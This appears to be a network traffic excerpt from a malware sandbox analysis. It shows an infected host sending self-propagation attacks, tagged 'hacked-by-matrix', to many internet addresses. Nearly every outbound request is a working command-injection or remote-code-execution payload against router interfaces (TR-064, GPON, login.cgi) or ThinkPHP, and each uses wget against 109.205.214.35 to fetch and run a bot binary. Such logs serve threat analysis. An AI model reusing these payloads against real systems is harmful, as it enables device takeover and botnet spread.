Mar 21, 2024 05:23:36.780251980 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1975	192.168.2.13	43736	175.241.76.146	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:35.282924891 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:36.780260086 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1976	192.168.2.13	49432	23.7.125.78	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:36.071021080 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:36.177189112 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:23:36 GMT Date: Thu, 21 Mar 2024 04:23:36 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 33 64 61 61 32 63 31 37 26 23 34 36 3b 31 37 31 30 39 39 35 30 31 36 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.3daa2c17.1710995016.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1977	192.168.2.13	49284	118.39.243.61	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:36.095777988 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1978	192.168.2.13	44652	152.170.146.6	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:37.029808998 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:48.913706064 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1979	192.168.2.13	42130	212.1.144.215	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:37.780220985 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:38.295427084 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1980	192.168.2.13	60890	18.196.137.171	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:37.785970926 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:37.966587067 CET	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Thu, 21 Mar 2024 04:23:37 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1981	192.168.2.13	42960	212.181.253.137	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:37.797086954 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:37.977838993 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:23:37 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:23:38.946460009 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:23:37 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1982	192.168.2.13	42938	42.57.216.176	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:37.857841969 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1983	192.168.2.13	35874	5.225.248.209	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:37.857892990 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1984	192.168.2.13	37242	212.243.94.109	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:37.857908964 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1985	192.168.2.13	33006	212.32.17.42	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:37.857917070 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1986	192.168.2.13	32944	42.53.215.30	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:37.857947111 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1987	192.168.2.13	36762	118.91.138.7	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:37.857970953 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1988	192.168.2.13	33322	5.73.187.108	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:37.857976913 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1989	192.168.2.13	35092	212.204.83.40	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:37.858030081 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1990	192.168.2.13	48580	109.133.37.2	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:37.858047962 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1991	192.168.2.13	47192	5.238.50.98	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:37.858048916 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1992	192.168.2.13	43450	42.124.62.36	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:37.858061075 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1993	192.168.2.13	42682	95.214.132.49	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:37.958261013 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:39.084223032 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:39.311908007 CET	1020	IN	HTTP/1.1 400 Bad Request Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 769 date: Thu, 21 Mar 2024 04:23:38 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 